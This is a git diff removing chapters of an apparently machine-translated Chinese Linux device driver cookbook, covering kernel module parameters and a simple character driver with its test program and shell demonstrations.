-dummy_code: loading out-of-tree module taints kernel. -dummy_code:dummy_code_init: dummy-code loaded -``` - -Note that the message, loading out-of-tree module taints kernel, is just a warning and can be safely ignored for our purposes. See [https://www.kernel.org/doc/html/v4.15/admin-guide/tainted-kernels.html](https://www.kernel.org/doc/html/v4.15/admin-guide/tainted-kernels.html) for further information about tainted kernels. - -`rmmod`命令执行与`insmod`相反的步骤,即执行`module_exit()`功能,然后从内核中移除模块。 - -# 请参见 - -* 有关模块的更多信息,它们的手册页是一个很好的起点(命令有:`man insmod`、`man rmmod`和`man modinfo`);此外,我们可以通过阅读其手册页来查看`modprobe`命令(`man modprobe`)。 - -# 使用模块参数 - -在内核模块开发过程中,在模块插入过程中,而不仅仅是在编译时,通过某种方式动态设置一些变量是非常有用的。在 Linux 中,这可以通过使用内核模块的参数来实现,这些参数允许通过在`insmod`命令的命令行上指定参数来将参数传递给模块。 - -# 准备好了 - -为了展示一个例子,让我们考虑一个情况,我们有一个新的模块信息文件,`module_par.c`(这个文件也在我们的 GitHub 存储库中)。 - -# 怎么做... - -让我们看看如何通过以下步骤来实现: - -1. 首先,让我们定义模块参数,如下所示: - -```sh -static int var = 0x3f; -module_param(var, int, S_IRUSR | S_IWUSR); -MODULE_PARM_DESC(var, "an integer value"); - -static char *str = "default string"; -module_param(str, charp, S_IRUSR | S_IWUSR); -MODULE_PARM_DESC(str, "a string value"); - -#define ARR_SIZE 8 -static int arr[ARR_SIZE]; -static int arr_count; -module_param_array(arr, int, &arr_count, S_IRUSR | S_IWUSR); -MODULE_PARM_DESC(arr, "an array of " __stringify(ARR_SIZE) " values"); -``` - -2. 然后,我们可以使用以下`init`和`exit`功能: - -```sh -static int __init module_par_init(void) -{ - int i; - - pr_info("loaded\n"); - pr_info("var = 0x%02x\n", var); - pr_info("str = \"%s\"\n", str); - pr_info("arr = "); - for (i = 0; i < ARR_SIZE; i++) - pr_cont("%d ", arr[i]); - pr_cont("\n"); - - return 0; -} - -static void __exit module_par_exit(void) -{ - pr_info("unloaded\n"); -} - -module_init(module_par_init); -module_exit(module_par_exit); -``` - -3. 最后,我们可以像往常一样添加模块描述宏: - -```sh -MODULE_LICENSE("GPL"); -MODULE_AUTHOR("Rodolfo Giometti"); -MODULE_DESCRIPTION("Module with parameters"); -MODULE_VERSION("0.1"); -``` - -# 它是如何工作的... - -像以前一样编译后,一个新文件`module_par.ko`应该可以加载到我们的 ESPRESSObin 中了。但是,在执行之前,让我们在上面使用`modinfo`实用程序,如下所示: - -```sh -# modinfo module_par.ko -filename: /root/module_par.ko -version: 0.1 -description: Module with parameters -author: Rodolfo Giometti -license: GPL -srcversion: 21315B65C307ABE9769814F -depends: -name: module_par -vermagic: 4.18.0 SMP preempt mod_unload aarch64 -parm: var:an integer value (int) -parm: str:a string value (charp) -parm: arr:an array of 8 values (array of int) -``` - -The `modinfo` command is also included in the `kmod` package as `insmod`. - -正如我们在最后三行中看到的(都以`parm:`字符串为前缀),我们有一个模块参数列表,这些参数在代码中由`module_param()`和`module_param_array()`宏定义,并用`MODULE_PARM_DESC()`描述。 - -现在,如果我们像以前一样简单地插入模块,我们会得到默认值,如下面的代码块所示: - -```sh -# insmod module_par.ko -[ 6021.345064] module_par:module_par_init: loaded -[ 6021.347028] module_par:module_par_init: var = 0x3f -[ 6021.351810] module_par:module_par_init: str = "default string" -[ 6021.357904] module_par:module_par_init: arr = 0 0 0 0 0 0 0 0 -``` - -但是如果我们使用下一个命令行,我们会强制新的值: - -```sh -# insmod module_par.ko var=0x01 str=\"new value\" arr='1,2,3' -[ 6074.175964] module_par:module_par_init: loaded -[ 6074.177915] module_par:module_par_init: var = 0x01 -[ 6074.184932] module_par:module_par_init: str = "new value" -[ 6074.189765] module_par:module_par_init: arr = 1 2 3 0 0 0 0 0 -``` - -Don't forget to remove the `module_par` module by using the `rmmod module_par` command before trying to reload it with new values! - -最后,让我建议仔细看看下面的模块参数定义: - -```sh -static int var = 0x3f; -module_param(var, int, S_IRUSR | S_IWUSR); -MODULE_PARM_DESC(var, "an integer value"); -``` - -首先,我们有表示参数的变量的声明,然后我们有真实的模块参数定义(在这里我们指定类型和文件访问权限),然后我们有描述。 - -`modinfo`命令能够显示除文件访问权限之外的所有前述信息,文件访问权限是指 sysfs 文件系统中与该参数相关的文件!事实上,如果我们看一下`/sys/module/module_par/parameters/`目录,我们会得到以下内容: - -```sh -# ls -l /sys/module/module_par/parameters/ -total 0 --rw------- 1 root root 4096 Feb 1 12:46 arr --rw------- 1 root root 4096 Feb 1 12:46 str --rw------- 1 root root 4096 Feb 1 12:46 var -``` - -现在应该清楚`S_IRUSR`、`S_IWUSR`是什么参数的意思了;它们允许模块用户(即根用户)写入这些文件,然后从中读取相应的参数。 - -Defines `S_IRUSR` and related function are defined in the following file: `linux/include/uapi/linux/stat.h`. - -# 请参见 - -* 关于一般的内核模块以及如何导出内核符号,你可以看一下*《Linux 内核模块编程指南》,*可在[【https://www.tldp.org/LDP/lkmpg/2.6/html/index.html】](https://www.tldp.org/LDP/lkmpg/2.6/html/index.html)[在线获得。](https://www.tldp.org/LDP/lkmpg/2.6/html/index.html) \ No newline at end of file diff --git a/docs/linux-device-driver-dev-cb/03.md b/docs/linux-device-driver-dev-cb/03.md deleted file mode 100644 index 20b63279..00000000 --- a/docs/linux-device-driver-dev-cb/03.md +++ /dev/null @@ -1,718 +0,0 @@ -# 三、使用字符驱动 - -设备驱动是特殊代码(在内核空间中运行),它将物理设备与系统接口,并使用定义良好的应用编程接口将其导出到用户空间进程,即通过在特殊文件**上实现一些**系统调用**。这是因为,在类似 Unix 的操作系统中,**一切都是文件**,物理设备被表示为特殊文件(通常放在`/dev`目录中),每一个都连接到特定的设备(因此,例如,键盘可以是名为`/dev/input0`的文件,串口可以是名为`/dev/ttyS1`的文件,实时时钟可以是`/dev/rtc2`)。** - -We can expect that network devices belong to a particular set of devices not respecting this rule because we have no `/dev/eth0` file for the `eth0` interface. This is true, since network devices are the only devices class that doesn't respect this rule because network-related applications don't care about individual network interfaces; they work at a higher level by referring sockets instead. That's why Linux doesn't provide direct access to network devices, as for other devices classes. - -看下一张图,我们看到内核空间是用来把硬件抽象到用户空间,这样每个进程都使用同一个接口来访问外设,这个接口是由一组系统调用组成的: - -![](img/86240942-ff71-4d42-a1de-dfc3717df2ae.png) - -该图还显示,不仅可以通过使用设备驱动,还可以通过使用另一个接口(如 **sysfs** 或通过实现用户空间驱动)来访问外设。 - -由于我们的外围设备只是(特殊的)文件,我们的驱动应该实现我们需要的系统调用来操作这些文件,尤其是那些对交换数据有用的文件。比如我们需要`open()`和`close()`系统调用来启动和停止与外设的通信,需要`read()`和`write()`系统调用来与之交换数据。 - -普通 C 函数和系统调用的主要区别只是后者主要在内核中执行,而函数只在用户空间中执行。比如`printf()`是函数,`write()`是系统调用。后者(除了 C 函数的序言和结尾部分)在内核空间中执行,而前者主要在用户空间中执行,即使在 and 处,它调用`write()`将其数据实际写入输出流(这是因为所有输入/输出数据流无论如何都必须通过内核)。 - -欲了解更多信息,请查看本书:[https://prod . packtpub . com/hardware-and-creative/gnulinux-rapid-embedded-programming](https://prod.packtpub.com/hardware-and-creative/gnulinux-rapid-embedded-programming) - -嗯,本章将向我们展示如何至少实现`open()`、`close()`、`read()`和`write()`系统调用,以便介绍设备驱动编程和字符驱动开发的第一步。 - -现在是时候写我们的第一个设备驱动了!在本章中,我们将从一个非常简单的字符(或字符)驱动开始,以涵盖以下食谱: - -* 创建最简单的字符驱动 -* 与字符驱动交换数据 -* 使用“一切都是文件”抽象 - -# 技术要求 - -在本章中,我们将需要我们在[第 1 章](01.html)、*安装开发系统*、[第 2 章](02.html)、*内核内部窥视*中使用的任何东西,因此请参考它们进行交叉编译、内核模块加载和管理等。 - -有关本章的更多信息,请阅读*附录*。 - -本章使用的代码和其他文件可以在[https://GitHub . com/gio metti/Linux _ device _ driver _ development _ cook book/tree/master/chapter _ 03](https://github.com/giometti/linux_device_driver_development_cookbook/tree/master/chapter_03)下载。 - -# 创建最简单的字符驱动 - -在 Linux 内核中,存在三种主要的设备类型——char 设备、block 设备和 net 设备。当然,我们有三种主要的设备驱动类型;即 char、block 和 net 驱动。在本章中,我们将了解一种字符设备,它是一种可以作为字节流访问的外设,例如串行端口、音频设备等。然而,在这个食谱中,我们将展示一个真正基本的字符驱动,它只是简单地注册自己,除此之外什么也不做。即使看起来没用,我们也会发现这一步真的引入了很多新概念! - -Actually, it could be possible to exchange data between peripherals and user space without a char, block, or net driver but by simply using some mechanism offered by the **sysfs**, but this is a special case and it is generally used only for very simple devices that have to exchange simple data types. - -# 准备好 - -为了实现我们的第一个字符驱动,我们需要上一章中介绍的模块。这是因为使用内核模块是我们向内核空间注入代码的最简单方法。当然,我们可以决定将内置的驱动编译到内核中,但是,以这种方式,我们必须完全重新编译内核,并在每次修改代码时重新启动系统(这是一种可能性,但绝对不是最好的!). - -Just a note before carrying on: to provide a clearer explanation regarding how a char driver works and to present a really simple example, I decided to use the legacy way to register a char driver into the kernel. There's nothing to be concerned about, since this mode of operation is perfectly legal and still supported and, in any case, in the *Using a device tree to describe a character driver* recipe, in [Chapter 4](04.html), *Using the Device Tre**e*, I'm going to present the currently advised way of registering char drivers. - -# 怎么做... - -让我们看看来自 GitHub 来源的`chrdev_legacy.c`文件。我们有了第一个驱动,所以让我们开始详细检查它: - -1. 首先,我们来看看文件的开头: - -```sh -#define pr_fmt(fmt) "%s:%s: " fmt, KBUILD_MODNAME, __func__ -#include -#include -#include - -/* Device major umber */ -static int major; -``` - -2. 在`chrdev_legacy.c`结束时,检查以下代码,其中模块的`init()`功能定义如下: - -```sh -static int __init chrdev_init(void) -{ - int ret; - - ret = register_chrdev(0, "chrdev", &chrdev_fops); - if (ret < 0) { - pr_err("unable to register char device! Error %d\n", ret); - return ret; - } - major = ret; - pr_info("got major %d\n", major); - - return 0; -} -``` - -该模块的`exit()`功能如下: - -```sh -static void __exit chrdev_exit(void) -{ - unregister_chrdev(major, "chrdev"); -} - -module_init(chrdev_init); -module_exit(chrdev_exit); -``` - -3. 如果`major`号是从用户空间进入内核的驱动引用,**文件操作**结构(由`chrdev_fops`引用)代表我们可以在我们的驱动上执行的唯一允许的系统调用,它们的定义如下: - -```sh -static struct file_operations chrdev_fops = { - .owner = THIS_MODULE, - .read = chrdev_read, - .write = chrdev_write, - .open = chrdev_open, - .release = chrdev_release -}; -``` - -4. 方法基本上如下实现。以下是`read()`和`write()`方法: - -```sh -static ssize_t chrdev_read(struct file *filp, - char __user *buf, size_t count, - loff_t *ppos) -{ - pr_info("return EOF\n"); - - return 0; -} - -static ssize_t chrdev_write(struct file *filp, - const char __user *buf, size_t count, - loff_t *ppos) -{ - pr_info("got %ld bytes\n", count); - - return count; -} -``` - -这里有`open()`和`release()`(又名`close()`)方法: - -```sh -static int chrdev_open(struct inode *inode, struct file *filp) -{ - pr_info("chrdev opened\n"); - - return 0; -} - -static int chrdev_release(struct inode *inode, struct file *filp) -{ - pr_info("chrdev released\n"); - - return 0; -} -``` - -5. 要编译代码,我们可以在主机上以通常的方式进行,如下所示: - -```sh -$ make KERNEL_DIR=../../../linux/ -make -C ../../../linux/ \ - ARCH=arm64 \ - CROSS_COMPILE=aarch64-linux-gnu- \ - SUBDIRS=/home/giometti/Projects/ldddc/github/chapter_3/chrdev_legacy modules -make[1]: Entering directory '/home/giometti/Projects/ldddc/linux' - CC [M] /home/giometti/Projects/ldddc/github/chapter_3/chrdev_legacy/chrdev_legacy.o - Building modules, stage 2. - MODPOST 1 modules - CC /home/giometti/Projects/ldddc/github/chapter_3/chrdev_legacy/chrdev_legacy.mod.o - LD [M] /home/giometti/Projects/ldddc/github/chapter_3/chrdev_legacy/chrdev_legacy.ko -make[1]: Leaving directory '/home/giometti/Projects/ldddc/linux' -``` - -6. 然后,为了测试我们的驱动,我们可以将其加载到我们的目标系统中(同样,我们可以使用`scp`命令将模块文件加载到 ESPRESSObin 中): - -```sh -# insmod chrdev_legacy.ko -chrdev_legacy: loading out-of-tree module taints kernel. -chrdev_legacy:chrdev_init: got major 239 -``` - -好的。驱动已加载,我们的主要编号为`239`。 - -7. 最后,我建议你看看 ESPRESSObin 上的`/proc/devices`文件。这个特殊的文件是在有人读取它时动态生成的,它保存了注册到系统中的所有字符(和块)驱动;这就是为什么如果我们用`grep`命令过滤它,我们会发现如下内容: - -```sh -# grep chrdev /proc/devices -239 chrdev -``` - -Of course, your major number can be a different number! There's nothing strange about that; just rewrite the next commands according to the number you get. - -8. 为了在我们的驱动上有效地执行一些系统调用,我们可以使用`chrdev_test.c`文件中存储的程序(仍然来自 GitHub 来源);其`main()`功能的开始如下所示: - -```sh -int main(int argc, char *argv[]) -{ - int fd; - char buf[] = "DUMMY DATA"; - int n, c; - int ret; - - if (argc < 2) { - fprintf(stderr, "usage: %s \n", argv[0]); - exit(EXIT_FAILURE); - } - - ret = open(argv[1], O_RDWR); - if (ret < 0) { - perror("open"); - exit(EXIT_FAILURE); - } - printf("file %s opened\n", argv[1]); - fd = ret; -``` - -9. 首先,我们需要打开文件设备,然后获取文件描述符;这可以通过使用`open()`系统调用来完成。 - -10. 然后,`main()`功能继续,如下所示,在设备中写入数据: - -```sh - for (c = 0; c < sizeof(buf); c += n) { - ret = write(fd, buf + c, sizeof(buf) - c); - if (ret < 0) { - perror("write"); - exit(EXIT_FAILURE); - } - n = ret; - - printf("wrote %d bytes into file %s\n", n, argv[1]); - dump("data written are: ", buf + c, n); - } -``` - -通过读取刚刚写入的数据: - -```sh - for (c = 0; c < sizeof(buf); c += n) { - ret = read(fd, buf, sizeof(buf)); - if (ret == 0) { - printf("read EOF\n"); - break; - } else if (ret < 0) { - perror("read"); - exit(EXIT_FAILURE); - } - n = ret; - - printf("read %d bytes from file %s\n", n, argv[1]); - dump("data read are: ", buf, n); - } -``` - -设备打开后,我们的程序执行`write()`,然后是`read()`系统调用。 - -We should notice that I call `read()` and `write()` system calls inside a `for()` loop; the reason behind this implementation will be clearer in the following recipe, *Exchanging data with a char driver,* where we're going to see how these system calls actually work. - -11. 最后,`main()`可以关闭文件设备然后退出: - -```sh - close(fd); - - return 0; -} -``` - -通过这种方式,我们可以测试我们之前实现的系统调用。 - -# 它是如何工作的... - -在*第 1 步*中,可以看到,它和我们上一章介绍的内核模块非常相似,即使有一些新的`include`文件。然而,最重要的新条目是`major`变量,为了理解它有什么用,我们应该直接到文件的末尾,在那里我们找到真正的字符驱动注册。 - -在第 2 步中,我们再次拥有`module_init()`和`module_exit()`功能和宏,如`MODULE_LICENSE()`(参见[第 2 章](02.html)、*内核内部的一瞥*,使用内核模块的方法);然而,这里真正重要的是`chrdev_init()`和`chrdev_exit()`功能的有效发挥。实际上,`chrdev_init()`调用`register_chrdev()`函数,反过来,该函数将新的字符驱动注册到系统中,将其标记为`chrdev`,并将提供的`chrdev_fops`用作文件操作,同时将返回值存储到主变量中。 - -我们应该考虑这个事实,因为在没有返回错误的情况下,`major`是我们新驱动在系统中的主要参考!事实上,内核仅通过使用其**主号**来区分一个字符驱动和另一个字符驱动(这就是为什么我们保存它,然后在`chrdev_exit()`函数中将其用作`unregister_chrdev()`的参数)。 - -在*第 3 步*中,每个字段指向一个定义良好的函数,该函数反过来实现系统调用体。这里唯一的非功能字段是`owner`,只是用来指向模块的所有者,与驱动无关,只指向内核模块管理系统。 - -在*第 4 步*中,通过前面代码的方式,我们的字符驱动通过使用四种方法实现了四个系统调用:`open()`、`close()`(称为`release()`)、`read()`和`write()`,它们是我们可以定义到字符驱动中的非常小(且简单)的系统调用集。 - -注意,在这个时候,所有的方法根本什么都不做!当我们在驱动上发出`read()`系统调用时,`chrdev_read()`方法在内核空间的驱动内部被正确调用(为了理解如何与用户空间交换数据,请参见下一节)。 - -I use both **function** and **method** names interchangeably because all of these functions can be seen as methods in object programming, where the same function names specialize into different steps according to the object they are applied to. -With drivers it is the same: for example, they all have a `read()` method, but this method's behavior changes according to the object (or peripheral) it is applied to. - -在*步骤 6* 中,`loading out-of-tree module taints kernel`消息再次只是一个警告,可以安全忽略;然而,请注意,模块文件名是`chrdev_legacy.ko`,而司机的名字只是`chrdev`。 - -# 还有更多... - -我们可以验证我们的新驱动是如何工作的,所以让我们编译存储在我们之前看到的`chrdev_test.c`文件中的程序。为此,我们可以使用 ESPRESSObin 上的下一个命令: - -```sh -# make CFLAGS="-Wall -O2" chrdev_test -cc -Wall -O2 chrdev_test.c -o chrdev_test -``` - -If not yet installed, both the `make` and `gcc` commands can be easily installed into your ESPRESSObin, just using the usual `apt` command `apt install make gcc` (after the ESPRESSObin has been connected to the internet!). - -现在我们可以通过执行它来尝试: - -```sh -# ./chrdev_test -usage: ./chrdev_test -``` - -没错。这是我们必须使用的文件名。我们总是说我们的设备是 Unix 操作系统中的文件,但是是哪个文件呢?要生成这个文件,也就是代表我们驱动的文件,我们必须使用`mknod`命令,如下所示: - -```sh -# mknod chrdev c 239 0 -``` - -For further information regarding the `mknod` command, you can take a look at its man pages by using the command line `man mknod`. Usually `mknod` created files are located in the `/dev` directory; however, they can be created wherever we wish and this is just an example to show how the mechanism works. - -前面的命令在当前目录中创建了一个名为`chrdev`的文件,它是一个特殊的文件,类型为**字符**(或**无缓冲**),有一个主编号`239`(当然,这是我们司机的主编号,如*步骤 1* 中所见)和一个次编号`0`。 - -At this time, we still haven't introduced minor numbers however, you should consider them as just a simple extra parameter that the kernel simply passes to the driver without changing it. It's the driver itself that knows how to manage the minor number. - -事实上,如果我们使用`ls`命令来检查它,我们会看到以下内容: - -```sh -# ls -l chrdev -crw-r--r-- 1 root root 239, 0 Feb 7 14:30 chrdev -``` - -这里,首字符`c`指出这个`chrdev`文件不是一个普通文件(由`-`字符表示),而是一个字符设备文件。 - -好的。现在我们已经将文件*连接到了驱动上,让我们在上面尝试我们的测试程序。* - -我们在终端上获得以下输出: - -```sh -# ./chrdev_test chrdev -file chrdev opened -wrote 11 bytes into file chrdev -data written are: 44 55 4d 4d 59 20 44 41 54 41 00 -read EOF -``` - -但是,在串行控制台(或通过`dmesg`)上,我们得到以下内容: - -```sh -chrdev_legacy:chrdev_open: chrdev opened -chrdev_legacy:chrdev_write: got 11 bytes -chrdev_legacy:chrdev_read: return EOF -chrdev_legacy:chrdev_release: chrdev released -``` - -这正是我们所期待的!如*步骤 4* 所述,这里我们可以验证驱动中定义的所有系统调用`open()`、`close()`(称为`release()`)、`read()`、`write()`都是通过调用相应的方法有效执行的。 - -Note that, if you execute the `chrdev_test` program directly on the serial console, all of the preceding messages will overlap each other and you may not easily recognize them! So, let me suggest you use a SSH connection to execute the test. - -# 请参见 - -* 关于如何使用遗留函数注册字符设备的更多信息,一个很好的起点是位于[https://www.tldp.org/LDP/lkmpg/2.6/html/x569.html](https://www.tldp.org/LDP/lkmpg/2.6/html/x569.html)的*Linux 内核模块编程指南*的一些旧的(但仍然存在的)页面 - -# 与字符驱动交换数据 - -在这个食谱中,我们将看到如何根据`read()`和`write()`系统调用行为向驱动读写数据。 - -# 准备好 - -为了修改我们的第一个字符驱动,以允许它在用户空间之间交换数据,我们仍然可以在前面的配方中使用的模块上工作。 - -# 怎么做... - -为了与我们的新驱动交换数据,我们需要根据前面所说的修改`read()`和`write()`方法,并且我们必须添加一个数据缓冲区,在那里可以存储交换的数据: - -1. 因此,让我们修改我们的文件`chrdev_legacy.c`,如下所示,以便包含`linux/uaccess.h`文件并定义我们的内部缓冲区: - -```sh -#define pr_fmt(fmt) "%s:%s: " fmt, KBUILD_MODNAME, __func__ -#include -#include -#include -#include - -/* Device major umber */ -static int major; - -/* Device data */ -#define BUF_LEN 300 -static char chrdev_buf[BUF_LEN]; -``` - -2. 那么`chrdev_read()`方法应该修改如下: - -```sh -static ssize_t chrdev_read(struct file *filp, - char __user *buf, size_t count, loff_t *ppos) -{ - int ret; - - pr_info("should read %ld bytes (*ppos=%lld)\n", - count, *ppos); - - /* Check for end-of-buffer */ - if (*ppos + count >= BUF_LEN) - count = BUF_LEN - *ppos; - - /* Return data to the user space */ - ret = copy_to_user(buf, chrdev_buf + *ppos, count); - if (ret < 0) - return -EFAULT; - - *ppos += count; - pr_info("return %ld bytes (*ppos=%lld)\n", count, *ppos); - - return count; -} -``` - -All of the preceding modifications and the next ones in this section can be easily applied by using the `modify_read_write_to_chrdev_legacy.patch` patch file from GitHub sources, issuing the following command line in the same directory where the `chrdev_legacy.c` file is located: -`$ patch -p3 < modify_read_write_to_chrdev_legacy.patch` - -3. 我们可以对`chrdev_write()`方法重复这个步骤: - -```sh -static ssize_t chrdev_write(struct file *filp, - const char __user *buf, size_t count, loff_t *ppos) -{ - int ret; - - pr_info("should write %ld bytes (*ppos=%lld)\n", count, *ppos); - - /* Check for end-of-buffer */ - if (*ppos + count >= BUF_LEN) - count = BUF_LEN - *ppos; - - /* Get data from the user space */ - ret = copy_from_user(chrdev_buf + *ppos, buf, count); - if (ret < 0) - return -EFAULT; - - *ppos += count; - pr_info("got %ld bytes (*ppos=%lld)\n", count, *ppos); - - return count; -} -``` - -# 它是如何工作的... - -在*步骤 2* 中,通过对我们的`chrdev_read()`方法的上述修改,现在我们将使用驱动内部缓冲区中的`copy_to_user()`功能从用户空间复制提供的数据,同时相应地移动`ppos`指针,然后返回已经读取了多少数据(或错误)。 - -注意`copy_from/to_user()`函数在成功时返回零或者非零来表示未传输的字节数,所以,在这里,我们应该考虑这种情况(即使很少)并适当更新`count`,减去未传输的字节数(如果有的话),以便正确更新`ppos`并向用户空间返回正确的计数值。然而,为了使示例尽可能简单,我们更愿意返回一个错误条件。 - -还要注意的是,如果`*ppos + count`点超出缓冲区末端,`count`将被相应地重新计算,并且该函数将返回一个表示传输字节数的值,该值小于输入中提供的原始`count`值(该值表示所提供的目标用户缓冲区的大小,因此是允许传输的最大数据长度)。 - -在*步骤 3* 中,我们可以考虑与之前相同的关于`copy_to_user()`返回值的注释。但是,另外在`copy_from_user()`上,如果某些数据无法复制,该功能将使用零字节将复制的数据填充到请求的大小。 - -正如我们所看到的,这个函数与前面的非常相似,即使它实现了相反的数据流。 - -# 还有更多... - -修改完成后,新的驱动版本已经重新编译并正确加载到 ESPRESSObin 的内核中,我们可以再次执行我们的测试程序`chrdev_test`。我们应该得到以下输出: - -```sh -# ./chrdev_test chrdev -file chrdev opened -wrote 11 bytes into file chrdev -data written are: 44 55 4d 4d 59 20 44 41 54 41 00 -read 11 bytes from file chrdev -data read are: 00 00 00 00 00 00 00 00 00 00 00 -``` - -从串行控制台,我们应该会看到类似如下的内容: - -```sh -chrdev_legacy:chrdev_open: chrdev opened -chrdev_legacy:chrdev_write: should write 11 bytes (*ppos=0) -chrdev_legacy:chrdev_write: got 11 bytes (*ppos=11) -chrdev_legacy:chrdev_read: should read 11 bytes (*ppos=11) -chrdev_legacy:chrdev_read: return 11 bytes (*ppos=22) -chrdev_legacy:chrdev_release: chrdev released -``` - -好的。我们得到了我们所期望的!事实上,从内核消息中,我们可以看到`chrdev_open()`的调用,然后当`chrdev_write()`和`chrdev_read()`被调用时会发生什么:11 个字节被传输,并且`ppos`指针如我们所料地移动。然后,`chrdev_release()`被调用,文件被关闭。 - -现在有一个问题:如果我们再次调用前面的命令会发生什么? - -嗯,我们应该期待完全相同的输出;事实上,每次打开文件时,`ppos`都被重新定位在文件开头(即 0),我们在相同的位置继续读写。 - -以下是第二次执行的输出: - -```sh -# ./chrdev_test chrdev -file chrdev opened -wrote 11 bytes into file chrdev -data written are: 44 55 4d 4d 59 20 44 41 54 41 00 -read 11 bytes from file chrdev -data read are: 00 00 00 00 00 00 00 00 00 00 00 -``` - -此外,以下是相关的内核消息: - -```sh -chrdev_legacy:chrdev_open: chrdev opened -chrdev_legacy:chrdev_write: should write 11 bytes (*ppos=0) -chrdev_legacy:chrdev_write: got 11 bytes (*ppos=11) -chrdev_legacy:chrdev_read: should read 11 bytes (*ppos=11) -chrdev_legacy:chrdev_read: return 11 bytes (*ppos=22) -chrdev_legacy:chrdev_release: chrdev released -``` - -如果我们希望读取刚刚写入的数据,我们可以修改`chrdev_test`程序,使其关闭,然后在调用`write()`后重新打开文件: - -```sh -... - printf("wrote %d bytes into file %s\n", n, argv[1]); - dump("data written are: ", buf, n); - } - - close(fd); - - ret = open(argv[1], O_RDWR); - if (ret < 0) { - perror("open"); - exit(EXIT_FAILURE); - } - printf("file %s reopened\n", argv[1]); - fd = ret; - - for (c = 0; c < sizeof(buf); c += n) { - ret = read(fd, buf, sizeof(buf)); -... -``` - -Note that all of these modifications are stored in the `modify_close_open_to_chrdev_test.patch` patch file from GitHub sources and it can be applied by using the following command where the `chrdev_test.c` file is located: -`$ patch -p2 < modify_close_open_to_chrdev_test.patch` - -现在,如果我们再次尝试执行`chrdev_test`,应该会得到如下输出: - -```sh -# ./chrdev_test chrdev -file chrdev opened -wrote 11 bytes into file chrdev -data written are: 44 55 4d 4d 59 20 44 41 54 41 00 -file chrdev reopened -read 11 bytes from file chrdev -data read are: 44 55 4d 4d 59 20 44 41 54 41 00 -``` - -完美!现在,我们准确地阅读了我们所写的内容,从内核空间中,我们得到了以下消息: - -```sh -chrdev_legacy:chrdev_open: chrdev opened -chrdev_legacy:chrdev_write: should write 11 bytes (*ppos=0) -chrdev_legacy:chrdev_write: got 11 bytes (*ppos=11) -chrdev_legacy:chrdev_release: chrdev released -chrdev_legacy:chrdev_open: chrdev opened -chrdev_legacy:chrdev_read: should read 11 bytes (*ppos=0) -chrdev_legacy:chrdev_read: return 11 bytes (*ppos=11) -chrdev_legacy:chrdev_release: chrdev released -``` - -现在,我们可以完美地看到`ppos`发生了什么,以及`chrdev_read()`和`chrdev_write()`方法是如何工作的,以便与用户空间交换数据。 - -# 请参见 - -* 有关`read()`和`write()`系统调用的更多信息,读者可以开始阅读相关手册页,这些手册页可以通过常用命令获得:`man 2 read`和`man 2 write`。 - -Note that, this time, we have to specify section 2 of the man pages (system-calls); otherwise, we will get information straight from section 1 (executable programs). - -* 或者,关于`copy_from_user()`和`copy_to_user()`功能,读者可以看看位于[https://www.kernel.org/doc/htmldocs/kernel-api/API-copy-from-user.html](https://www.kernel.org/doc/htmldocs/kernel-api/API---copy-from-user.html)和[https://www.kernel.org/doc/htmldocs/kernel-api/API-copy-to-user.html](https://www.kernel.org/doc/htmldocs/kernel-api/API---copy-to-user.html)的*Linux 内核 API* 。 - -# 使用“一切都是文件”抽象 - -当我们介绍设备驱动时,我们说它们位于 Unix 文件抽象之下;也就是说,在类似 Unix 的操作系统中,一切都是一个文件。现在,是验证它的时候了,所以让我们看看如果我们尝试对我们的新驱动执行一些文件相关的实用程序会发生什么。 - -由于我们对`chrdev_legacy.c`文件的最新修改,我们的驱动模拟了一个 300 字节长的文件(参见`BUF_LEN`被设置为`300`的`chrdev_buf[BUF_LEN]`缓冲区),在那里我们能够执行`read()`和`write()`系统调用,就像我们对一个*正常的*文件所做的那样。 - -然而,我们可能仍然有一些疑虑,所以让我们考虑标准的`cat`或`dd`命令,因为我们知道它们是对操纵文件内容有用的实用程序。例如,在`cat`命令的手册页中,我们可以看到以下定义: - -```sh -NAME - cat - concatenate files and print on the standard output - -SYNOPSIS - cat [OPTION]... [FILE]... - -DESCRIPTION - Concatenate FILE(s) to standard output. -``` - -并且,对于`dd`,我们有如下定义: - -```sh -NAME - dd - convert and copy a file - -SYNOPSIS - dd [OPERAND]... - dd OPTION - -DESCRIPTION - Copy a file, converting and formatting according to the operands. -``` - -我们没有看到任何对设备驱动的引用,只有对文件的引用,所以如果我们的驱动像文件一样工作,我们应该能够在上面使用这些命令! - -# 准备好 - -为了检查“一切都是一个文件”的抽象,我们仍然可以使用我们的新的字符驱动,它可以作为一个常规文件来管理。因此,让我们确保驱动被正确地加载到内核中,并进入下一部分。 - -# 怎么做... - -让我们看看如何通过以下步骤来实现: - -1. 首先,我们可以尝试用以下命令将所有`0`字符写入其中,以清除驱动的缓冲区: - -```sh -# dd if=/dev/zero bs=100 count=3 of=chrdev -3+0 records in -3+0 records out -300 bytes copied, 0.0524863 s, 5.7 kB/s -``` - -2. 现在,我们可以使用`cat`命令读取刚刚写入的数据,如下所示: - -```sh -# cat chrdev | tr '\000' '0' -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -``` - -完美!如我们所见,正如预期的那样,我们删除了驱动的内部缓冲区。 - -The reader should notice that we use the `tr` command in order to translate data bytes 0 to the printable character 0; otherwise, we'll see garbage (or most probably nothing). -See the `tr` man page with `man tr` for further information about its usage. - -3. 现在,我们可以尝试将一个正常的文件数据移动到我们的 char 设备中;例如,如果我们考虑`/etc/passwd`文件,我们应该看到如下内容: - -```sh -# ls -lh /etc/passwd --rw-r--r-- 1 root root 1.3K Jan 10 14:16 /etc/passwd -``` - -该文件大于 300 字节,但我们仍然可以尝试使用下一个命令行将其移动到字符驱动中: - -```sh -# cat /etc/passwd > chrdev -cat: write error: No space left on device -``` - -正如预期的那样,我们会收到一条错误消息,因为我们的文件不能超过 300 字节。然而,真正有趣的是在内核中: - -```sh -chrdev_legacy:chrdev_open: chrdev opened -chrdev_legacy:chrdev_write: should write 1285 bytes (*ppos=0) -chrdev_legacy:chrdev_write: got 300 bytes (*ppos=300) -chrdev_legacy:chrdev_write: should write 985 bytes (*ppos=300) -chrdev_legacy:chrdev_write: got 0 bytes (*ppos=300) -chrdev_legacy:chrdev_release: chrdev released -``` - -4. 即使我们得到了一个错误,从前面的内核消息中,我们看到一些数据实际上已经被写入了我们的字符驱动中,所以我们可以尝试使用`grep`命令用下一个命令行在其中找到一个特定的行: - -```sh -# grep root chrdev -root:x:0:0:root:/root:/bin/bash -``` 